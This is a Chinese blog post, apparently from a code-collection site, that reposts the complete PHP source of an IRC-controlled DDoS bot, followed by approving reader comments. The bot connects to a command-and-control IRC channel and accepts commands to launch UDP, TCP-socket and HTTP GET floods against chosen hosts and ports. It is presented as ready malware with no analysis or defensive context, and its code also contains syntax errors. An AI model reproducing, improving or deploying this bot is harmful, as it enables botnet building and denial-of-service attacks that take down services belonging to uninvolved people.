PHP DDoS Bot

php代码
  1. <?php   
  2. /*  
  3. php ddos bot  
  4. Version 1.0  
  5. */  
  6. $server="1.3.3.7";   
  7. $Port="6667";   
  8. $nick="bot-";$willekeurig;   
  9. $willekeurig=mt_rand(0,3);   
  10. $nicknummer=mt_rand(100000,999999);   
  11. $Channel="#WauShare";   
  12. $Channelpass="ddos";   
  13. $msg="Farewell.";   
  14.   
  15. set_time_limit(0);   
  16. $loop = 0; $verbonden = 0;   
  17. $verbinden = fsockopen($server$Port);   
  18.   
  19. while ($read = fgets($verbinden,512)) {   
  20.   
  21. $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);   
  22. $read2 = explode(" ",$read);   
  23.   
  24. if ($loop == 0) {   
  25. fputs($verbinden,"nick $nick$nicknummer\n\n");   
  26. fputs($verbinden,"USER cybercrime 0 * :woopie\n\n");   
  27. }   
  28.   
  29. if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }   
  30.   
  31. if ($read2[1] == 251) {   
  32. fputs($verbinden,"join $Channel $Channelpass\n");   
  33. $verbonden++;   
  34. }   
  35.   
  36.   
  37. if (eregi("bot-op",$read)) {   
  38. fputs($verbinden,"mode $Channel +o $read2[4]\n");   
  39. }   
  40.   
  41.   
  42. if (eregi("bot-deop",$read)) {   
  43. fputs($verbinden,"mode $Channel -o $read2[4]\n");   
  44. }   
  45.   
  46. if (eregi("bot-quit",$read)) {   
  47. fputs($verbinden,"quit :$msg\n\n");   
  48. break;   
  49. }   
  50.   
  51. if (eregi("bot-join",$read)) {   
  52. fputs($verbinden,"join $read2[4]\n");   
  53. }   
  54.   
  55. if (eregi("bot-part",$read)) {   
  56. fputs($verbinden,"part $read2[4]\n");   
  57. }   
  58.   
  59.   
  60. if (eregi("ddos-udp",$read)) {   
  61. fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n");   
  62. $fp = fsockopen("udp://$read2[4]", 500, $errno$errstr, 30);   
  63. if (!$fp)   
  64. {   
  65. //echo "$errstr ($errno)<br>\n"; //troep   
  66. exit;   
  67. }   
  68. else  
  69. {   
  70. $char = "a";   
  71. for($a = 0; $a < 9999999999999; $a++)   
  72. $data = $data.$char;   
  73.   
  74. if(fputs ($fp$data) )   
  75. fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n");   
  76. else  
  77. fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n");   
  78. }   
  79. }   
  80.   
  81. if (eregi("ddos-tcp",$read)) {   
  82. fputs($verbinden,"part $read2[4]\n");   
  83. fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n");   
  84. $server = $read2[4];   
  85. $Port = $read2[5];   
  86.   
  87. for($sockets = 0; $sockets < $read2[6]; $sockets++)   
  88. {   
  89. $verbinden = fsockopen($server$Port);   
  90. }   
  91. }   
  92.   
  93. if (eregi("ddos-http",$read)) {   
  94. fputs($verbinden,"part $read2[4]\n");   
  95. fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n");   
  96. $Webserver = $read2[4];   
  97. $Port = $read2[5];   
  98.   
  99. $Aanvraag = "GET / HTTP/1.1";   
  100. $Aanvraag .= "Accept: */*";   
  101. $Aanvraag .= "Accept-Language: nl";   
  102. $Aanvraag .= "Accept-Encoding: gzip, deflate";   
  103. $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";   
  104. $Aanvraag .= "Host: $read2[4]";   
  105. $Aanvraag .= "Connection: Keep-Alive";   
  106.   
  107. for($Aantal = 0; $Aantal < $read2[6]; $Aantal++)   
  108. {   
  109. $DoS = fsockopen($Webserver$Port);   
  110. fwrite($DoS$Aanvraag);   
  111. fclose($DoS);   
  112. }   
  113. }   
  114. $loop++;   
  115. }   
  116. ?>   

关键词: bot , ddos , 代码收藏 , php

上一篇: 关于渗透测试自动化的可行性
下一篇: 伪造HTTP-REFERER方法及防止伪造REFERER方法探讨

相关文章
访客评论
#1
回复 kiki 2007-10-21, 00:36:20
这个是比较牛B!
#2
回复 assin 2007-10-21, 10:06:47
好像较好不怎么好啊,呼呼
#3
回复 路过 2007-10-22, 18:33:40
比较牛B!
#4
回复 Gowiththewind 2008-12-02, 14:45:35
唯一遗憾的是 单线程
发表评论

评论内容 (必填):